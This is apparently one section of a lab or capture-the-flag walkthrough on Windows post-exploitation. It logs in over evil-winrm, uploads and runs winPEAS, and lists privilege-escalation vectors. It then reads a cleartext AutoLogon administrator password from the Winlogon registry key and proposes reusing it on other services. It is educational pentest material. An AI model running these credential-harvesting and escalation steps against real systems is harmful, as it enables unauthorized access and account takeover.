# 12. Enumerate Local Privileges and AutoLogon

We're now in the **post-exploitation** phase with access to the system as `sysadmin`. Our goal is **privilege escalation** — gaining full control (Administrator or SYSTEM access).

### 🔧 Step-by-Step: Run `winPEASx64.exe` to Find PrivEsc Vectors:

**1. 📁 Upload `winPEASx64.exe` to the target via `evil-winrm`**

From your **Kali machine**, in the same folder where `winPEASx64.exe` is saved:

```bash
evil-winrm -i 192.168.10.4 -u 'sysadmin' -p 'NewPassword123'
```

Once inside the shell:

```powershell
upload winPEASx64.exe
```

It will upload the file to the current directory (usually `C:\Users\sysadmin\`).\


<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FOuiVRw6NkUzqGFA1jeZi%2Fimage.png?alt=media&#x26;token=8f85e608-c3f2-4eaf-9e1d-db3fc86e321b" alt=""><figcaption></figcaption></figure>

***

**2. 🧠 Run `winPEASx64.exe` inside the shell**

After upload completes, run:

```powershell
.\winPEASx64.exe
```

Let it run fully — it will check:

* 🔐 Stored credentials (AutoLogon, saved RDP passwords, etc.)
* ⚙️ Misconfigured services (e.g., unquoted paths)
* 📦 Files with weak permissions
* 🔼 PrivEsc misconfigs (AlwaysInstallElevated, etc.)

***

**3. 🔍 Look for These in Output**

Pay attention to:

* `AutoLogon credentials` ➜ cleartext passwords
* `AlwaysInstallElevated` ➜ lets any user install MSI as SYSTEM
* `Unquoted service paths` ➜ exploitable services
* `Writable services` ➜ can hijack a service
* `Credential files` in registry or config folders



### To get AutoLogon Credentials (manually via WinRM)

Once you're inside using `evil-winrm`:

```powershell
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Look for these keys in the output:

* `DefaultUserName`
* `DefaultPassword` ← this is what you want!
*   `AutoAdminLogon` (should be set to `1` if enabled)\
    \


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FJ0wgyNNzStp4yLLhZeiO%2F2.jpg?alt=media&#x26;token=1d0acff5-6669-4def-98cf-457cca28e0e4" alt=""><figcaption></figcaption></figure>

The **AutoLogon password** configured for the `administrator` user is:

```
d0m@in_c0ntr0ll3r
```

📌 Found in this registry value:

```
DefaultUserName    REG_SZ    administrator
DefaultPassword    REG_SZ    d0m@in_c0ntr0ll3r
```

&#x20;So the full AutoLogon credentials are:

* **Username**: `administrator`
* **Password**: `d0m@in_c0ntr0ll3r`

&#x20;We can now try using these credentials for SMB, WinRM, or any service that accepts domain login.
